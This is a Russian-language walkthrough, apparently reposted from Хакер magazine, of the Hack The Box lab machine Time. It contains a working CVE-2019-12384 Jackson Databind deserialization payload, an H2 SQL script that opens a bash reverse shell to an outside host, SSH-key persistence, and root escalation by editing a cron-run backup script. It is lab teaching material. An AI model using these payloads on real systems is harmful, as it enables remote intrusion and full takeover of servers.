Хакер - HTB Time. Захватываем машину с Linux через уязвимость в парсере JSON

Хакер - HTB Time. Захватываем машину с Linux через уязвимость в парсере JSON

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Точка входа
  • Закрепление
  • Повышение привилегий

Се­год­ня мы раз­берем­ся с уяз­вимостью в пар­сере Jackson Databind, а затем зай­мем­ся отсле­жива­нием новых про­цес­сов в Linux, что­бы най­ти пути повысить при­виле­гии. Поможет нам в этом машина Time с пло­щад­ки Hack The Box. Ее уро­вень слож­ности заяв­лен как Medium.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Ад­рес машины — 10.10.10.214, я всег­да добав­ляю их в /etc/hosts, что­бы обра­щать­ся по име­ни.

10.10.10.214 time.htb

Ска­ниру­ем пор­ты при помощи Nmap. Коман­да ниже про­ведет ска­ниро­вание в два эта­па — сна­чала общее, затем по най­ден­ным пор­там — со скрип­тами.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

На­ходим два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache). На SSH нам пока что ловить нечего, поэто­му сра­зу отправ­ляем­ся «про­бивать» веб.

ТОЧКА ВХОДА

И на пер­вой же стра­нице нас встре­чает поле вво­да с под­писью ONLINE JSON BEAUTIFIER & VALIDATOR, из чего дела­ем вывод, что сайт пар­сит и выводит текст в фор­мате JSON.

Глав­ная стра­ница сай­та http://time.htb

При поис­ке точ­ки вхо­да луч­ше тес­тировать все поля вво­да на обра­бот­ку «нежела­тель­ных» сим­волов. Они могут выпол­нять роль слу­жеб­ных для той или иной тех­нологии, и поэто­му, если прог­раммист не позабо­тил­ся о спе­циаль­ной обра­бот­ке, они могут вызывать ошиб­ки или дру­гие сбои в при­ложе­нии. Я про­вел неболь­шой тест — скор­мил одну и ту же строч­ку валида­торам раз­ных типов. Ответ получил­ся раз­ным, а это зна­чит, что обра­бот­ка поль­зователь­ско­го вво­да про­исхо­дит по‑раз­ному.

Ре­акция двух типов валида­торов на стро­ку qwe

Во вто­ром слу­чае мы получа­ем пол­ноцен­ный текст ошиб­ки:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.core. JsonParseException: Unrecognized token 'qwe': was expecting ('true', 'false' or 'null')

Ско­рее, это свя­зано с тем, что при­ложе­ние еще не доведе­но до ума, поэто­му и при­сутс­тву­ет помет­ка Beta. Имен­но сюда нам и нуж­но давить. Так как перед нами пар­сер JSON, давай пос­мотрим, как он реаги­рует на слу­жеб­ные пос­ледова­тель­нос­ти‑типы [] и {}. В ответ на такие зап­росы мы тоже получим раз­ные ошиб­ки для раз­ных пос­ледова­тель­нос­тей.

Ре­акция валида­тора
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc. MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'qwe' as a subtype of [simple type, class java.lang.Object]: no such class found

Ана­лиз оши­бок полезен тем, что помога­ет опре­делить исполь­зуемую тех­нологию. Это рас­ширя­ет наше пред­став­ление о том, как внут­ри устро­ено при­ложе­ние. В пер­вом и во вто­ром слу­чае исклю­чение генери­рует Java, а пакет называ­ется com.fasterxml.jackson.databind.exc. Отлично, мы опре­дели­ли, что там внут­ри! Оста­лось поис­кать в интерне­те уяз­вимос­ти, которые уже наш­ли в этой прог­рамме.

Для популяр­ных тех­нологий есть хорошо докумен­тирован­ные экс­пло­иты, к тому же не в одном вари­анте. В нашем слу­чае дос­таточ­но зап­роса jackson databind vulnerability, и Google находит уяз­вимость, которая может пре­дос­тавить уда­лен­ное выпол­нение кода (RCE). Так­же получа­ем ее иден­тифика­тор (2019-12384) в базе дан­ных обще­извес­тных уяз­вимос­тей информа­цион­ной безопас­ности (CVE).

По­иск задоку­мен­тирован­ных уяз­вимос­тей в тех­нологии Jackson Databind

Для уяз­вимос­тей с CVE на GitHub нес­ложно най­ти экс­пло­ит. Пов­торя­ем зап­рос и ищем готовый код. Пер­вая же ссыл­ка ведет нас к пол­ному опи­санию про­цес­са экс­плу­ата­ции.

По­иск экс­пло­итов для CVE-2019-12384

ЗАКРЕПЛЕНИЕ

Выб­ранная нами уяз­вимость зак­люча­ется в том, что зло­умыш­ленник может исполь­зовать десери­али­зацию для уда­лен­ного выпол­нения кода. Дело в том, что внут­ри пакета рекур­сивно вызыва­ются все сет­теры с клю­чом, содер­жащим­ся внут­ри подобъ­екта, а имен­но setUrl(String url). Пос­ле это­го эта­па пол­ный объ­ект сно­ва сери­али­зует­ся в объ­ект JSON. При этом все поля сери­али­зуют­ся нап­рямую, если гет­тер не опре­делен, или через явный гет­тер. Ког­да вызыва­ется getConnection(), соз­дает­ся база дан­ных. Но мы можем соз­дать соеди­нение с уда­лен­ной базой дан­ных.

Что­бы добить­ся пол­ного выпол­нения кода в кон­тек­сте при­ложе­ния, нуж­но исполь­зовать воз­можность заг­рузки драй­вера H2 JDBC. H2 — это свер­хбыстрая база дан­ных SQL, обыч­но исполь­зуемая в качес­тве замены для пол­нофун­кци­ональ­ных СУБД (таких как PostgreSQL, MS SQL, MySQL или OracleDB). У H2 есть воз­можность запус­кать сце­нарии SQL из URL-адре­са JDBC. Это не поз­воля­ет зло­умыш­ленни­ку выпол­нить код Java внут­ри кон­тек­ста JVM, но у H2 есть воз­можность ука­зывать нас­тра­иваемые псев­донимы, содер­жащие код Java. Имен­но это и поз­волит выпол­нить уда­лен­ный код.

А теперь перей­дем к экс­плу­ата­ции. В сце­нарии SQL, который будет заг­ружать­ся с нашего сер­вера, мы выпол­ним обратный шелл и получим дос­туп к машине.

bash -i >& /dev/tcp/[ip]]/[port] 0>&1

Сле­дует ука­зать лишь адрес сво­его хос­та и порт для обратно­го под­клю­чения. При этом на локаль­ном хос­те запус­каем лис­тенер. Что­бы обес­печить себе ком­фор­тную работу (хотя бы ведение исто­рии команд), советую исполь­зовать обо­лоч­ку rlwrap.

apt install rlwrap

rlwrap nc -lvp [port]

Го­товый SQL-сце­нарий, выпол­няющий реверс‑шелл, мож­но взять из опи­сания к экс­пло­иту (не забудь ука­зать свои дан­ные):

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"bash", "-c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.73/4321 0>&1')

Пос­ле сох­ранения сце­нария в файл в текущей дирек­тории запус­тим прос­той HTTP-сер­вер с помощью Python 3.

python3 -m http.server 8000

Приш­ло вре­мя отпра­вить наг­рузку через веб‑фор­му. Идея в том, что­бы заг­рузить драй­вер H2 JDBC и получить уда­лен­ный сце­нарий SQL.

["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.73:8000/inject.sql'"}]

От­прав­ка наг­рузки через веб‑фор­му

Пос­ле отправ­ки в кон­соли, где запущен веб‑сер­вер на Python 3, мы уви­дим лог, сви­детель­ству­ющий о заг­рузке на уда­лен­ный хост SQL-сце­нария. А в кон­соли лис­тенера получа­ем обратную коман­дную обо­лоч­ку в кон­тек­сте поль­зовате­ля pericles.

Лог локаль­ного веб‑сер­вера
По­луче­ние реверс‑шел­ла

Ра­ботать из это­го шел­ла все же не очень удоб­но, поэто­му сде­лаем себе дос­туп по SSH. Коман­дой ssh-keygen генери­руем пару клю­чей на локаль­ном хос­те. Далее — запишем id_rsa.pub в фай­ле ~/.ssh/authorized_keys на уда­лен­ном хос­те. Под­клю­чаем­ся и забира­ем флаг поль­зовате­ля.

ssh -i id_rsa pericles@time.htb

За­пись SSH-клю­ча на сер­вер
Флаг поль­зовате­ля

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Как прод­вигать­ся даль­ше? В этом помога­ют скрип­ты PEASS — Privilege Escalation Awesome Scripts SUITE. Они есть для всех сис­тем, ска­чива­ем себе скрипт для Linux.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью python прос­той веб‑сер­вер. Пос­ле выпол­нения такой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

На целевой машине с помощью все того же wget заг­ружа­ем скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

В выводе получим серь­езный мас­сив информа­ции. Нуж­но ее вни­матель­но изу­чить и выб­рать важ­ную. В нашем слу­чае нашел­ся скрипт на Bash с инте­рес­ным наз­вани­ем time_backup (в раз­деле о бэкапах он, кста­ти, тоже будет упо­мянут).

Об­наружен­ные скрип­ты
Фай­лы, в наз­вании которых есть приз­наки бэкапа

Мы заш­ли в сис­тему от име­ни вла­дель­ца это­го фай­ла, а зна­чит, можем внес­ти в него изме­нения. Давай пос­мотрим, как час­то запус­кает­ся этот файл.

Для отсле­жива­ния про­цес­сов исполь­зуем pspy64. Заг­рузим эту прог­рамму на хост тем же спо­собом, что и linpeas, а потом выпол­ним. В выводе видим, как запус­кался скрипт. Самое инте­рес­ное — что он запус­кает­ся в кон­тек­сте поль­зовате­ля с нулево­го UID, а это root!

# Скачиваем на локальный хост

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

# Затем на удаленный

wget http://[ip_локального_хоста]:8000/pspy64

chmod +x pspy64

./pspy64

Вы­вод ути­литы pspy64

Зах­ватить рут будет лег­ко: чуть под­пра­вим скрипт и добавим в него две коман­ды — пер­вая соз­даст дирек­торию /root/.ssh, а вто­рая запишет в файл /root/.ssh/authorized_keys пуб­личный ключ. Пару клю­чей мож­но сге­нери­ровать заново, а мож­но исполь­зовать те же, которые мы генери­рова­ли для поль­зовате­ля.

Мо­дифи­циро­ван­ный скрипт time_backup

Спус­тя нес­коль­ко секунд, ког­да скрипт сра­бота­ет сно­ва, можем под­клю­чать­ся к хос­ту как root и забирать флаг.

ssh -i id_rsa root@time.htb

Флаг поль­зовате­ля

Ма­шина зах­вачена, у нас есть флаг и пол­ный кон­троль над ней.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page